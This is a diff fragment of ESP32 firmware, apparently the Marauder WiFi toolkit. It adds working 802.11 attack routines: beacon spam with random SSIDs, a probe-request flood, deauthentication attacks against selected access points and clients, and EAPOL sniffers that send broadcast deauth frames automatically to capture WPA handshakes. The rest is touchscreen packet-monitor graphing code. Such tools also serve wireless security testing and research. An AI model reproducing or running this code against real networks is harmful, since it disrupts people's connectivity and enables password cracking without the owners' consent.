+  packet[15] = packet[21] = random(256);
+
+  packet[37] = 6;
+  
+  
+  // Randomize SSID (Fixed size 6. Lazy right?)
+  packet[38] = alfa[random(65)];
+  packet[39] = alfa[random(65)];
+  packet[40] = alfa[random(65)];
+  packet[41] = alfa[random(65)];
+  packet[42] = alfa[random(65)];
+  packet[43] = alfa[random(65)];
+  
+  packet[56] = set_channel;
+
+  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
+                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
+
+
+
+  // Add everything that goes after the SSID
+  for(int i = 0; i < 12; i++) 
+    packet[38 + 6 + i] = postSSID[i];
+
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+  //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
+  //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
+
+  packets_sent = packets_sent + 3;
+}
+
+// Function to send probe flood to all "active" access points
+void WiFiScan::sendProbeAttack(uint32_t currentTime) {
+  // Itterate through all access points in list
+  for (int i = 0; i < access_points->size(); i++) {
+
+    // Check if active
+    if (access_points->get(i).selected) {
+      this->set_channel = access_points->get(i).channel;
+      esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
+      delay(1);
+      
+      // Build packet
+      // Randomize SRC MAC
+      
+      prob_req_packet[10] = random(256);
+      prob_req_packet[11] = random(256);
+      prob_req_packet[12] = random(256);
+      prob_req_packet[13] = random(256);
+      prob_req_packet[14] = random(256);
+      prob_req_packet[15] = random(256);
+
+      // Set SSID length
+      int ssidLen = access_points->get(i).essid.length();
+      //int rand_len = sizeof(rand_reg);
+      int fullLen = ssidLen;
+      prob_req_packet[25] = fullLen;
+
+      // Insert ESSID
+      char buf[access_points->get(i).essid.length() + 1] = {};
+      access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
+      
+      for(int i = 0; i < ssidLen; i++)
+        prob_req_packet[26 + i] = buf[i];
+        
+      /*
+       * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24, 
+                                  0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a, 
+                                  0xad, 0x01, 0x17, 0xff, 0xff, 0x00, 
+                                  0x00, 0x7e, 0x00, 0x00, 0x00, 0x00, 
+                                  0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 
+                                  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
+                                  0x00, 0x00
+       */
+
+      uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12, 
+                              0x18, 0x24, 0x30, 0x48, 0x60, 0x6c, 
+                              0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff, 
+                              0xff, 0x00, 0x00, 0x7e, 0x00, 0x00, 
+                              0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 
+                              0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
+                              0x00, 0x00, 0x00, 0x00};
+
+      uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
+      
+      for (int i = 0; i < 26 + fullLen; i++)
+        good_probe_req_packet[i] = prob_req_packet[i];
+
+      for(int i = 0; i < 40; i++) 
+        good_probe_req_packet[26 + fullLen + i] = postSSID[i];
+
+      
+
+      // Send packet
+      esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
+      esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
+      esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
+
+      packets_sent = packets_sent + 3;
+    }
+  }
+}
+
+void WiFiScan::sendDeauthFrame(int bssid[6], int channel, uint8_t mac[6]) {
+  WiFiScan::set_channel = channel;
+  esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);
+  
+  // Build AP source packet
+  deauth_frame_default[4] = mac[0];
+  deauth_frame_default[5] = mac[1];
+  deauth_frame_default[6] = mac[2];
+  deauth_frame_default[7] = mac[3];
+  deauth_frame_default[8] = mac[4];
+  deauth_frame_default[9] = mac[5];
+  
+  deauth_frame_default[10] = bssid[0];
+  deauth_frame_default[11] = bssid[1];
+  deauth_frame_default[12] = bssid[2];
+  deauth_frame_default[13] = bssid[3];
+  deauth_frame_default[14] = bssid[4];
+  deauth_frame_default[15] = bssid[5];
+
+  deauth_frame_default[16] = bssid[0];
+  deauth_frame_default[17] = bssid[1];
+  deauth_frame_default[18] = bssid[2];
+  deauth_frame_default[19] = bssid[3];
+  deauth_frame_default[20] = bssid[4];
+  deauth_frame_default[21] = bssid[5];      
+
+  // Send packet
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+
+  packets_sent = packets_sent + 3;
+
+  // Build AP dest packet
+  deauth_frame_default[4] = bssid[0];
+  deauth_frame_default[5] = bssid[1];
+  deauth_frame_default[6] = bssid[2];
+  deauth_frame_default[7] = bssid[3];
+  deauth_frame_default[8] = bssid[4];
+  deauth_frame_default[9] = bssid[5];
+  
+  deauth_frame_default[10] = mac[0];
+  deauth_frame_default[11] = mac[1];
+  deauth_frame_default[12] = mac[2];
+  deauth_frame_default[13] = mac[3];
+  deauth_frame_default[14] = mac[4];
+  deauth_frame_default[15] = mac[5];
+
+  deauth_frame_default[16] = mac[0];
+  deauth_frame_default[17] = mac[1];
+  deauth_frame_default[18] = mac[2];
+  deauth_frame_default[19] = mac[3];
+  deauth_frame_default[20] = mac[4];
+  deauth_frame_default[21] = mac[5];      
+
+  // Send packet
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+
+  packets_sent = packets_sent + 3;
+}
+
+void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str) {
+  // Itterate through all access points in list
+  // Check if active
+  WiFiScan::set_channel = channel;
+  esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);
+  
+  // Build packet
+
+  sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx", 
+        &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
+  
+  deauth_frame_default[10] = bssid[0];
+  deauth_frame_default[11] = bssid[1];
+  deauth_frame_default[12] = bssid[2];
+  deauth_frame_default[13] = bssid[3];
+  deauth_frame_default[14] = bssid[4];
+  deauth_frame_default[15] = bssid[5];
+
+  deauth_frame_default[16] = bssid[0];
+  deauth_frame_default[17] = bssid[1];
+  deauth_frame_default[18] = bssid[2];
+  deauth_frame_default[19] = bssid[3];
+  deauth_frame_default[20] = bssid[4];
+  deauth_frame_default[21] = bssid[5];      
+
+  // Send packet
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+
+  packets_sent = packets_sent + 3;
+}
+
+void WiFiScan::sendDeauthAttack(uint32_t currentTime, String dst_mac_str) {
+  // Itterate through all access points in list
+  for (int i = 0; i < access_points->size(); i++) {
+
+    // Check if active
+    if (access_points->get(i).selected) {
+      this->set_channel = access_points->get(i).channel;
+      esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
+      delay(1);
+      
+      // Build packet
+
+      sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx", 
+            &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
+      
+      deauth_frame_default[10] = access_points->get(i).bssid[0];
+      deauth_frame_default[11] = access_points->get(i).bssid[1];
+      deauth_frame_default[12] = access_points->get(i).bssid[2];
+      deauth_frame_default[13] = access_points->get(i).bssid[3];
+      deauth_frame_default[14] = access_points->get(i).bssid[4];
+      deauth_frame_default[15] = access_points->get(i).bssid[5];
+
+      deauth_frame_default[16] = access_points->get(i).bssid[0];
+      deauth_frame_default[17] = access_points->get(i).bssid[1];
+      deauth_frame_default[18] = access_points->get(i).bssid[2];
+      deauth_frame_default[19] = access_points->get(i).bssid[3];
+      deauth_frame_default[20] = access_points->get(i).bssid[4];
+      deauth_frame_default[21] = access_points->get(i).bssid[5];      
+
+      // Send packet
+      esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+      esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+      esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+
+      packets_sent = packets_sent + 3;
+    }
+  }
+}
+
+
+void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
+  
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+
+  #ifdef HAS_SCREEN
+    int buff = display_obj.display_buffer->size();
+  #else
+    int buff = 0;
+  #endif
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifndef MARAUDER_MINI
+      if (snifferPacket->payload[0] == 0x80)
+      {
+        num_beacon++;
+      }
+      else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
+      {
+        num_deauth++;
+      }
+      else if (snifferPacket->payload[0] == 0x40)
+      {
+        num_probe++;
+      }
+    #endif
+
+    char addr[] = "00:00:00:00:00:00";
+    getMAC(addr, snifferPacket->payload, 10);
+    display_string.concat(addr);
+
+    int temp_len = display_string.length();
+
+    #ifdef HAS_SCREEN
+      for (int i = 0; i < 40 - temp_len; i++)
+      {
+        display_string.concat(" ");
+      }
+    
+      //Serial.print(" ");
+    
+      #ifdef MARAUDER_MINI
+        if (display_obj.display_buffer->size() == 0)
+        {
+          display_obj.loading = true;
+          display_obj.display_buffer->add(display_string);
+          display_obj.loading = false;
+        }
+      #endif
+    #endif
+
+    if (save_packet)
+      sd_obj.addPacket(snifferPacket->payload, len);
+  }
+}
+
+void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
+  bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
+  
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+  }
+
+  #ifdef HAS_SCREEN
+    int buff = display_obj.display_buffer->size();
+  #else
+    int buff = 0;
+  #endif
+
+  // Found beacon frame. Decide whether to deauth
+  if (send_deauth) {
+    if (snifferPacket->payload[0] == 0x80) {    
+      // Build packet
+  
+      uint8_t new_packet[26] = {
+                                0xc0, 0x00, 0x3a, 0x01,
+                                0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
+                                0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+                                0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+                                0xf0, 0xff, 0x02, 0x00
+                            };
+      
+      new_packet[10] = snifferPacket->payload[10];
+      new_packet[11] = snifferPacket->payload[11];
+      new_packet[12] = snifferPacket->payload[12];
+      new_packet[13] = snifferPacket->payload[13];
+      new_packet[14] = snifferPacket->payload[14];
+      new_packet[15] = snifferPacket->payload[15];
+    
+      new_packet[16] = snifferPacket->payload[10];
+      new_packet[17] = snifferPacket->payload[11];
+      new_packet[18] = snifferPacket->payload[12];
+      new_packet[19] = snifferPacket->payload[13];
+      new_packet[20] = snifferPacket->payload[14];
+      new_packet[21] = snifferPacket->payload[15];      
+    
+      // Send packet
+      //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
+      //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
+      esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
+      delay(1);
+    }
+
+
+  }
+
+  if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
+    num_eapol++;
+    Serial.println("Received EAPOL:");
+
+    char addr[] = "00:00:00:00:00:00";
+    getMAC(addr, snifferPacket->payload, 10);
+    display_string.concat(addr);
+
+    int temp_len = display_string.length();
+
+   #ifdef HAS_SCREEN
+      for (int i = 0; i < 40 - temp_len; i++)
+      {
+        display_string.concat(" ");
+      }
+
+      Serial.print(" ");
+
+      #ifdef MARAUDER_MINI
+        if (display_obj.display_buffer->size() == 0)
+        {
+          display_obj.loading = true;
+          display_obj.display_buffer->add(display_string);
+          display_obj.loading = false;
+        }
+      #endif
+    #endif
+    
+//    for (int i = 0; i < len; i++) {
+//      char hexCar[4];
+//      sprintf(hexCar, "%02X", snifferPacket->payload[i]);
+//      Serial.print(hexCar);
+      //Serial.print(snifferPacket->payload[i], HEX);
+//      if ((i + 1) % 16 == 0)
+//        Serial.print("\n");
+//      else
+//        Serial.print(" ");
+//    }
+  
+//    Serial.print("\n");
+  }
+
+  if (save_packet)
+    sd_obj.addPacket(snifferPacket->payload, len);
+}
+
+void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
+  bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
+  
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+  }
+
+  // Found beacon frame. Decide whether to deauth
+
+  if (snifferPacket->payload[0] == 0x80) {    
+    // Build packet
+
+    //Serial.println("Recieved beacon frame");
+
+    uint8_t new_packet[26] = {
+                              0xc0, 0x00, 0x3a, 0x01,
+                              0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
+                              0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+                              0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+                              0xf0, 0xff, 0x02, 0x00
+                          };
+    
+    new_packet[10] = snifferPacket->payload[10];
+    new_packet[11] = snifferPacket->payload[11];
+    new_packet[12] = snifferPacket->payload[12];
+    new_packet[13] = snifferPacket->payload[13];
+    new_packet[14] = snifferPacket->payload[14];
+    new_packet[15] = snifferPacket->payload[15];
+  
+    new_packet[16] = snifferPacket->payload[10];
+    new_packet[17] = snifferPacket->payload[11];
+    new_packet[18] = snifferPacket->payload[12];
+    new_packet[19] = snifferPacket->payload[13];
+    new_packet[20] = snifferPacket->payload[14];
+    new_packet[21] = snifferPacket->payload[15];      
+  
+    // Send packet
+    //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
+    //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
+    esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
+    delay(1);
+  }
+
+
+
+  if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
+    num_eapol++;
+    Serial.println("Received EAPOL:");
+
+//    for (int i = 0; i < len; i++) {
+//      char hexCar[3];
+//      snprintf(hexCar, 3, "%02X", snifferPacket->payload[i]);
+//      Serial.print(hexCar);
+      //Serial.print(snifferPacket->payload[i], HEX);
+//      if ((i + 1) % 16 == 0)
+//        Serial.print("\n");
+//      else
+//        Serial.print(" ");
+//    }
+  
+//    Serial.print("\n");
+  }
+
+  if (save_packet)
+    sd_obj.addPacket(snifferPacket->payload, len);
+}
+
+#ifdef HAS_SCREEN
+  void WiFiScan::eapolMonitorMain(uint32_t currentTime)
+  {
+    //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
+    
+  
+  //  for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
+    for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
+    {
+      currentTime = millis();
+      do_break = false;
+  
+      y_pos_x = 0;
+      y_pos_y = 0;
+      y_pos_z = 0;
+      boolean pressed = false;
+  
+      uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
+  
+      // Do the touch stuff
+      pressed = display_obj.tft.getTouch(&t_x, &t_y);
+  
+      if (pressed) {
+        Serial.print("Got touch | X: ");
+        Serial.print(t_x);
+        Serial.print(" Y: ");
+        Serial.println(t_y);
+      }
+  
+  
+      // Check buttons for presses
+      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
+      {
+        if (pressed && display_obj.key[b].contains(t_x, t_y))
+        {
+          display_obj.key[b].press(true);
+        } else {
+          display_obj.key[b].press(false);
+        }
+      }
+  
+      // Which buttons pressed
+      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
+      {
+        if (display_obj.key[b].justPressed())
+        {
+          Serial.println("Bro, key pressed");
+          //do_break = true;
+        }
+  
+        if (display_obj.key[b].justReleased())
+        {
+          do_break = true;
+  
+          // Channel - button pressed
+          if (b == 4) {
+            if (set_channel > 1) {
+              Serial.println("Shit channel down");
+              set_channel--;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              //display_obj.tftDrawXScaleButtons(x_scale);
+              //display_obj.tftDrawYScaleButtons(y_scale);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              changeChannel();
+              break;
+            }
+          }
+  
+          // Channel + button pressed
+          else if (b == 5) {
+            if (set_channel < MAX_CHANNEL) {
+              Serial.println("Shit channel up");
+              set_channel++;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              //display_obj.tftDrawXScaleButtons(x_scale);
+              //display_obj.tftDrawYScaleButtons(y_scale);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              changeChannel();
+              break;
+            }
+          }
+          else if (b == 6) {
+            Serial.println("Exiting packet monitor...");
+            this->StartScan(WIFI_SCAN_OFF);
+            //display_obj.tft.init();
+            this->orient_display = true;
+            return;
+          }
+        }
+      }
+  
+      if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
+        //Serial.println("-----------------------------------------");
+        //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
+        x_pos += x_scale;
+        initTime = millis();
+        y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
+        if (y_pos_x >= HEIGHT_1) {
+          Serial.println("Max EAPOL number reached. Adjusting...");
+          num_eapol = 0;
+        }
+        //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
+        //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
+  
+        //Serial.println("num_beacon: " + (String)num_beacon);
+        //Serial.println("num_deauth: " + (String)num_deauth);
+        //Serial.println(" num_probe: " + (String)num_probe);
+  
+        //num_beacon = 0;
+        //num_probe = 0;
+        //num_deauth = 0;
+  
+        //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
+        //Plot "X" value
+        display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
+        //Plot "Z" value
+        //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
+        //Plot "Y" value
+        //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
+  
+        //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
+        //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
+        if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
+        {
+          display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
+        }
+        else
+        {
+          display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
+        }
+        //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
+        //if (x_pos <= 90)
+        if (x_pos < 0) // below x axis
+        {
+          //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
+          display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
+        }
+        else
+        {
+          //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
+          display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
+        }
+  
+        //tftDisplayTime();
+  
+        if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
+        {
+          display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
+        }
+  
+        y_pos_x_old = y_pos_x; //set old y pos values to current y pos values 
+        //y_pos_y_old = y_pos_y;
+        //y_pos_z_old = y_pos_z;
+  
+        //delay(50);
+      }
+  
+      sd_obj.main();
+  
+    }
+  
+    display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
+    display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
+    display_obj.tftDrawChannelScaleButtons(set_channel);
+    display_obj.tftDrawExitScaleButtons();
+    display_obj.tftDrawEapolColorKey();
+    display_obj.tftDrawGraphObjects(x_scale);
+  }
+
+  void WiFiScan::packetMonitorMain(uint32_t currentTime)
+  {
+    //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
+    
+    
+  //  for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
+    for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
+    {
+      currentTime = millis();
+      do_break = false;
+      
+      y_pos_x = 0;
+      y_pos_y = 0;
+      y_pos_z = 0;
+      boolean pressed = false;
+      
+      uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
+  
+      // Do the touch stuff
+      pressed = display_obj.tft.getTouch(&t_x, &t_y);
+  
+      if (pressed) {
+        Serial.print("Got touch | X: ");
+        Serial.print(t_x);
+        Serial.print(" Y: ");
+        Serial.println(t_y);
+      }
+  
+  
+      // Check buttons for presses
+      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
+      {
+        if (pressed && display_obj.key[b].contains(t_x, t_y))
+        {
+          display_obj.key[b].press(true);
+        } else {
+          display_obj.key[b].press(false);
+        }
+      }
+      
+      // Which buttons pressed
+      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
+      {
+        if (display_obj.key[b].justPressed())
+        {
+          Serial.println("Bro, key pressed");
+          //do_break = true;
+        }
+  
+        if (display_obj.key[b].justReleased())
+        {
+          do_break = true;
+          
+          // X - button pressed
+          if (b == 0) {
+            if (x_scale > 1) {
+              x_scale--;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              display_obj.tftDrawXScaleButtons(x_scale);
+              display_obj.tftDrawYScaleButtons(y_scale);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              break;
+            }
+          }
+          // X + button pressed
+          else if (b == 1) {
+            if (x_scale < 6) {
+              x_scale++;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              display_obj.tftDrawXScaleButtons(x_scale);
+              display_obj.tftDrawYScaleButtons(y_scale);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              break;
+            }
+          }
+  
+          // Y - button pressed
+          else if (b == 2) {
+            if (y_scale > 1) {
+              y_scale--;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              display_obj.tftDrawXScaleButtons(x_scale);
+              display_obj.tftDrawYScaleButtons(y_scale);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              //updateMidway();
+              break;
+            }
+          }
+  
+          // Y + button pressed
+          else if (b == 3) {
+            if (y_scale < 9) {
+              y_scale++;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              display_obj.tftDrawXScaleButtons(x_scale);
+              display_obj.tftDrawYScaleButtons(y_scale);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              //updateMidway();
+              break;
+            }
+          }
+  
+          // Channel - button pressed
+          else if (b == 4) {
+            if (set_channel > 1) {
+              Serial.println("Shit channel down");
+              set_channel--;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              display_obj.tftDrawXScaleButtons(x_scale);
+              display_obj.tftDrawYScaleButtons(y_scale);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              changeChannel();
+              break;
+            }
+          }
+  
+          // Channel + button pressed
+          else if (b == 5) {
+            if (set_channel < MAX_CHANNEL) {
+              Serial.println("Shit channel up");
+              set_channel++;
+              delay(70);
+              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+              display_obj.tftDrawXScaleButtons(x_scale);
+              display_obj.tftDrawYScaleButtons(y_scale);
+              display_obj.tftDrawChannelScaleButtons(set_channel);
+              display_obj.tftDrawExitScaleButtons();
+              changeChannel();
+              break;
+            }
+          }
+          else if (b == 6) {
+            Serial.println("Exiting packet monitor...");
+            this->StartScan(WIFI_SCAN_OFF);
+            //display_obj.tft.init();
+            this->orient_display = true;
+            return;
+          }
+        }
+      }
+  
+      if (currentTime - initTime >= GRAPH_REFRESH) {
+        //Serial.println("-----------------------------------------");
+        //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
+        x_pos += x_scale;
+        initTime = millis();
+        y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
+        y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
+        y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
+  
+        //Serial.println("num_beacon: " + (String)num_beacon);
+        //Serial.println("num_deauth: " + (String)num_deauth);
+        //Serial.println(" num_probe: " + (String)num_probe);
+    
+        num_beacon = 0;
+        num_probe = 0;
+        num_deauth = 0;
+        
+        //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
+        //Plot "X" value
+        display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
+        //Plot "Z" value
+        display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
+        //Plot "Y" value
+        display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
+        
+        //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
+        //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
